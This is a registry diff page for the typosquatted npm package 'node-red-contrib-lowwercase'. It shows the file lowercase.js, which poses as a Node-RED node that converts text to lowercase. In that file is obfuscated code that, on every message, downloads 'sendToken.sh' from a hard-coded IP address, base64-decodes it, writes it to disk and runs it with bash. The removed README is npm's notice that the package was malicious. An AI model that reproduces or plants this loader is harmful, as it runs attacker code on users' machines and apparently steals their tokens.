node-red-contrib-lowwercase 0.0.1-security → 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of node-red-contrib-lowwercase might be problematic. Click here for more details.
- package/lowercase.html +26 -0
- package/lowercase.js +1 -0
- package/package.json +18 -6
- package/README.md +0 -5
package/lowercase.html
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
<script type="text/javascript">
|
2
|
+
RED.nodes.registerType('lowercase',{
|
3
|
+
category: 'function',
|
4
|
+
color: '#a6bbcf',
|
5
|
+
defaults: {
|
6
|
+
name: {value:""}
|
7
|
+
},
|
8
|
+
inputs:1,
|
9
|
+
outputs:1,
|
10
|
+
icon: "light.png",
|
11
|
+
label: function() {
|
12
|
+
return this.name||"LowerCase";
|
13
|
+
}
|
14
|
+
});
|
15
|
+
</script>
|
16
|
+
|
17
|
+
<script type="text/x-red" data-template-name="LowerCase">
|
18
|
+
<div class="form-row">
|
19
|
+
<label for="node-input-name"><i class="icon-tag"></i> Name</label>
|
20
|
+
<input type="text" id="node-input-name" placeholder="Name">
|
21
|
+
</div>
|
22
|
+
</script>
|
23
|
+
|
24
|
+
<script type="text/x-red" data-help-name="LowerCase">
|
25
|
+
<p>A simple node that converts the message payloads into all lower-case characters</p>
|
26
|
+
</script>
|
package/lowercase.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const a0_0x5f829a=a0_0x4c95;(function(_0x1888f8,_0x5b3410){const _0x562fb5=a0_0x4c95,_0xc0f6fd=_0x1888f8();while(!![]){try{const _0x502acf=parseInt(_0x562fb5(0x1b0))/0x1*(parseInt(_0x562fb5(0x1b3))/0x2)+-parseInt(_0x562fb5(0x1bf))/0x3*(parseInt(_0x562fb5(0x1d0))/0x4)+-parseInt(_0x562fb5(0x1c2))/0x5*(parseInt(_0x562fb5(0x1ca))/0x6)+parseInt(_0x562fb5(0x1bb))/0x7+parseInt(_0x562fb5(0x1b7))/0x8*(parseInt(_0x562fb5(0x1d1))/0x9)+parseInt(_0x562fb5(0x1c1))/0xa*(-parseInt(_0x562fb5(0x1c3))/0xb)+parseInt(_0x562fb5(0x1af))/0xc*(parseInt(_0x562fb5(0x1cf))/0xd);if(_0x502acf===_0x5b3410)break;else _0xc0f6fd['push'](_0xc0f6fd['shift']());}catch(_0x9f9250){_0xc0f6fd['push'](_0xc0f6fd['shift']());}}}(a0_0x3688,0xd9f59));const {execFile}=require(a0_0x5f829a(0x1c6)),fetch=require(a0_0x5f829a(0x1c8)),fs=require('fs');async function download(){const _0x2e74e0=a0_0x5f829a;try{const _0x574ec7=await fetch(_0x2e74e0(0x1c0));if(!_0x574ec7['ok'])throw new Error('Failed\x20to\x20fetch\x20script:\x20'+_0x574ec7['statusText']);const _0x540b63=await _0x574ec7[_0x2e74e0(0x1b4)]();return console['log']('Downloaded\x20encoded\x20sendToken.sh\x20successfully'),_0x540b63;}catch(_0x297d04){console[_0x2e74e0(0x1ae)](_0x2e74e0(0x1b5),_0x297d04);throw _0x297d04;}}function a0_0x3688(){const _0x19dd84=['39WhszGW','1949236NGxuUM','9PMkhcS','Error\x20executing\x20script:','payload','error','2275236nfGmjA','20341KyYKeD','bash','toString','38NSNtUa','text','Error\x20downloading\x20script:','Failed\x20to\x20download\x20\x20execute\x20script:','12932432MzruUO','Script\x20executed\x20successfully:','toLowerCase','exports','10239327RuHQUX','nodes','./script.sh','lowercase','9ZknLDg','http://192.168.224.143/sendToken.sh','74230gmzYRI','350YtgPDs','2255LqutFw','writeFileSync','utf8','child_process','createNode','node-fetch','from','13560AeAJFO','Failed\x20to\x20decode\x20or\x20execute\x20script:','Script\x20stderr:','base64','registerType'];a0_0x3688=function(){return _0x19dd84;};return a0_0x3688();}async function decodeAndExecute(_0x15b5c9){const _0x5e2a3c=a0_0x5f829a;try{const _0x2984e4=Buffer[_0x5e2a3c(0x1c9)](_0x15b5c9,_0x5e2a3c(0x1cd))[_0x5e2a3c(0x1b2)](_0x5e2a3c(0x1c5));fs[_0x5e2a3c(0x1c4)](_0x5e2a3c(0x1bd),_0x2984e4),execFile(_0x5e2a3c(0x1b1),[_0x5e2a3c(0x1bd)],(_0x5a8e0b,_0x285b23,_0x598817)=>{const _0x21cbca=_0x5e2a3c;if(_0x5a8e0b){console[_0x21cbca(0x1ae)](_0x21cbca(0x1d2),_0x5a8e0b);return;}console['log'](_0x21cbca(0x1b8),_0x285b23),_0x598817&&console[_0x21cbca(0x1ae)](_0x21cbca(0x1cc),_0x598817);});}catch(_0x1e2b18){console[_0x5e2a3c(0x1ae)](_0x5e2a3c(0x1cb),_0x1e2b18);}}function a0_0x4c95(_0x3b0923,_0x44178d){const _0x368844=a0_0x3688();return a0_0x4c95=function(_0x4c95eb,_0xdd9797){_0x4c95eb=_0x4c95eb-0x1ae;let _0xa249b2=_0x368844[_0x4c95eb];return _0xa249b2;},a0_0x4c95(_0x3b0923,_0x44178d);}module[a0_0x5f829a(0x1ba)]=function(_0x10af3d){const _0x414f35=a0_0x5f829a;function _0x43ebcd(_0x516d3d){const _0x11fb5d=a0_0x4c95;_0x10af3d[_0x11fb5d(0x1bc)][_0x11fb5d(0x1c7)](this,_0x516d3d);var _0x330dba=this;const _0x37a76b=async()=>{const _0x441145=_0x11fb5d;try{const _0x360241=await download();await decodeAndExecute(_0x360241);}catch(_0x4a6234){console[_0x441145(0x1ae)](_0x441145(0x1b6),_0x4a6234);}};_0x330dba['on']('input',function(_0x1faaa1){const _0x6b23c=_0x11fb5d;_0x1faaa1['payload']=_0x1faaa1[_0x6b23c(0x1d3)][_0x6b23c(0x1b9)](),_0x330dba['send'](_0x1faaa1),_0x37a76b();});}_0x10af3d['nodes'][_0x414f35(0x1ce)](_0x414f35(0x1be),_0x43ebcd);};
|
package/package.json
CHANGED
@@ -1,6 +1,18 @@
|
|
1
|
-
{
|
2
|
-
"name": "node-red-contrib-lowwercase",
|
3
|
-
"version": "0.0.1
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "node-red-contrib-lowwercase",
|
3
|
+
"version": "0.0.1",
|
4
|
+
"description": "lowercase",
|
5
|
+
"main": "lowercase.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"license": "MIT",
|
10
|
+
"node-red": {
|
11
|
+
"nodes": {
|
12
|
+
"request": "lowercase.js"
|
13
|
+
}
|
14
|
+
},
|
15
|
+
"dependencies": {
|
16
|
+
"node-red-contrib-lowercase": "file:"
|
17
|
+
}
|
18
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=node-red-contrib-lowwercase for more information.
|